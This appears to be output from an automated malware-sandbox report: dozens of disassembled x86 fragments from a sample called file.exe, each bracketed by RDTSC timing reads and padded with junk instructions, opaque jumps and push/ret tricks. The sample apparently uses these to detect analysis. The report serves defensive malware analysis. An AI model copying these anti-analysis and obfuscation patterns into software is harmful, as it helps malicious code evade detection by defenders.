Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1D8F3 second address: C1D95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F51EC518D06h 0x0000000a jmp 00007F51EC518D10h 0x0000000f popad 0x00000010 jmp 00007F51EC518D18h 0x00000015 pop edi 0x00000016 pushad 0x00000017 push edx 0x00000018 jbe 00007F51EC518D06h 0x0000001e jmp 00007F51EC518D0Ch 0x00000023 pop edx 0x00000024 pushad 0x00000025 je 00007F51EC518D06h 0x0000002b jmp 00007F51EC518D13h 0x00000030 push edi 0x00000031 pop edi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1D95A second address: C1D968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jne 00007F51EC503016h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C29AA1 second address: C29AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C29C0A second address: C29C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F51EC503016h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C29C16 second address: C29C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jl 00007F51EC518D06h 0x0000000f jmp 00007F51EC518D0Dh 0x00000014 popad 0x00000015 jnl 00007F51EC518D0Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2FF99 second address: C2FF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2FF9D second address: C2FFAB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F51EC518D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2FFAB second address: C2FFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2EACF second address: C2EAD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2EAD3 second address: C2EB01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503027h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F51EC503021h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C30163 second address: C30167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C30167 second address: C3016D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C31445 second address: C31484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F51EC518D0Ch 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jnp 00007F51EC518D06h 0x00000018 jmp 00007F51EC518D0Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C357C7 second address: C357EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51EC503027h 0x00000009 popad 0x0000000a jne 00007F51EC50301Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BFB89D second address: BFB8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BFB8A2 second address: BFB8AC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F51EC50301Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C34C73 second address: C34C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C35609 second address: C35610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C35610 second address: C3562E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D18h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3562E second address: C35650 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F51EC503028h 0x00000011 push edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37FAC second address: C37FF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 6E833153h 0x00000011 jmp 00007F51EC518D18h 0x00000016 call 00007F51EC518D09h 0x0000001b push esi 0x0000001c pushad 0x0000001d push edi 0x0000001e pop edi 0x0000001f push esi 0x00000020 pop esi 0x00000021 popad 0x00000022 pop esi 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jno 00007F51EC518D06h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37FF2 second address: C37FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37FF7 second address: C37FFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37FFD second address: C38001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C38001 second address: C38024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F51EC518D0Ah 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jnl 00007F51EC518D06h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C38024 second address: C38029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C38029 second address: C3804D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3804D second address: C38051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C38051 second address: C38055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C384DB second address: C384E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C38DFC second address: C38E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3974E second address: C39753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C39753 second address: C39759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C39F1E second address: C39F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3B21A second address: C3B291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F51EC518D0Fh 0x0000000d nop 0x0000000e or di, D112h 0x00000013 call 00007F51EC518D16h 0x00000018 mov esi, dword ptr [ebp+122D2BECh] 0x0000001e pop esi 0x0000001f push 00000000h 0x00000021 mov si, dx 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007F51EC518D08h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 jo 00007F51EC518D08h 0x00000046 mov esi, ebx 0x00000048 push eax 0x00000049 jl 00007F51EC518D12h 0x0000004f js 00007F51EC518D0Ch 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3DDDB second address: C3DDE5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3D0ED second address: C3D109 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3D109 second address: C3D10F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3D10F second address: C3D113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C434C4 second address: C434CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C434CC second address: C434D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C434D0 second address: C4351D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 jo 00007F51EC503025h 0x0000000f jmp 00007F51EC50301Fh 0x00000014 pop ecx 0x00000015 nop 0x00000016 jno 00007F51EC503024h 0x0000001c push 00000000h 0x0000001e mov edi, dword ptr [ebp+122D2CA4h] 0x00000024 push 00000000h 0x00000026 mov edi, 62DDDF61h 0x0000002b push eax 0x0000002c push esi 0x0000002d je 00007F51EC50301Ch 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C45BCA second address: C45BCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C45BCE second address: C45BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C42639 second address: C42643 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F51EC518D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C45EBE second address: C45EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C46EA2 second address: C46EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C42643 second address: C4265D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F51EC50301Ch 0x00000008 jno 00007F51EC503016h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jbe 00007F51EC503024h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C48E79 second address: C48E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C45EC2 second address: C45EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C46EA7 second address: C46F28 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F51EC518D16h 0x0000000e nop 0x0000000f stc 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F51EC518D08h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jmp 00007F51EC518D0Ah 0x0000003d mov eax, dword ptr [ebp+122D0361h] 0x00000043 mov dword ptr [ebp+124472D3h], ecx 0x00000049 sub dword ptr [ebp+122D3BA8h], eax 0x0000004f push FFFFFFFFh 0x00000051 jnc 00007F51EC518D0Ch 0x00000057 nop 0x00000058 push eax 0x00000059 push edx 0x0000005a jng 00007F51EC518D08h 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C48F58 second address: C48F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C48F5C second address: C48F62 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C48F62 second address: C48F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C48F68 second address: C48F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C4AD43 second address: C4AD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C4D95F second address: C4D963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C4CB52 second address: C4CB58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C4DBDE second address: C4DBE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C4EBBC second address: C4EC66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F51EC503020h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F51EC503018h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 sub dword ptr [ebp+122D3BA8h], ebx 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov di, bx 0x00000040 mov eax, dword ptr [ebp+122D1279h] 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007F51EC503018h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 00000016h 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 push edx 0x00000061 jc 00007F51EC503018h 0x00000067 push edx 0x00000068 pop ebx 0x00000069 pop edi 0x0000006a mov dword ptr [ebp+124468CDh], ebx 0x00000070 push FFFFFFFFh 0x00000072 mov dword ptr [ebp+122D243Ch], edx 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b push ecx 0x0000007c jbe 00007F51EC503016h 0x00000082 pop ecx 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C520C6 second address: C520D0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F51EC518D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C520D0 second address: C520D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C520D5 second address: C520DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C541F3 second address: C54245 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F51EC50301Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f and di, B9ABh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F51EC503018h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 or ebx, 024C071Ah 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 js 00007F51EC50301Ch 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C54245 second address: C54249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5436D second address: C54372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C57409 second address: C57423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F51EC518D08h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F51EC518D0Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C57423 second address: C57427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C59483 second address: C594A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F51EC518D06h 0x00000012 popad 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F51EC518D0Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C594A1 second address: C594AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C594AB second address: C594B1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BF8359 second address: BF8383 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F51EC503016h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F51EC50301Dh 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c push edx 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BF8383 second address: BF838B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BF838B second address: BF83BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jnc 00007F51EC503023h 0x0000000d jmp 00007F51EC503025h 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BF83BF second address: BF83F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51EC518D15h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F51EC518D13h 0x00000011 jg 00007F51EC518D06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5DBAE second address: C5DBBA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jl 00007F51EC503016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5DD04 second address: C5DD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5DE92 second address: C5DEBA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F51EC503022h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 jmp 00007F51EC50301Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5FBF4 second address: C5FC08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F51EC518D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jns 00007F51EC518D06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5FC08 second address: C5FC23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503027h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C61482 second address: C6149A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC518D12h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6149A second address: C614B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503020h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C614B5 second address: C614BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C614BA second address: C614CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC503020h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C66BCA second address: C66BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C66BD0 second address: C66BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C66BD4 second address: C66BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6C725 second address: C6C745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F51EC503024h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6B939 second address: C6B958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F51EC518D16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BC09 second address: C6BC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
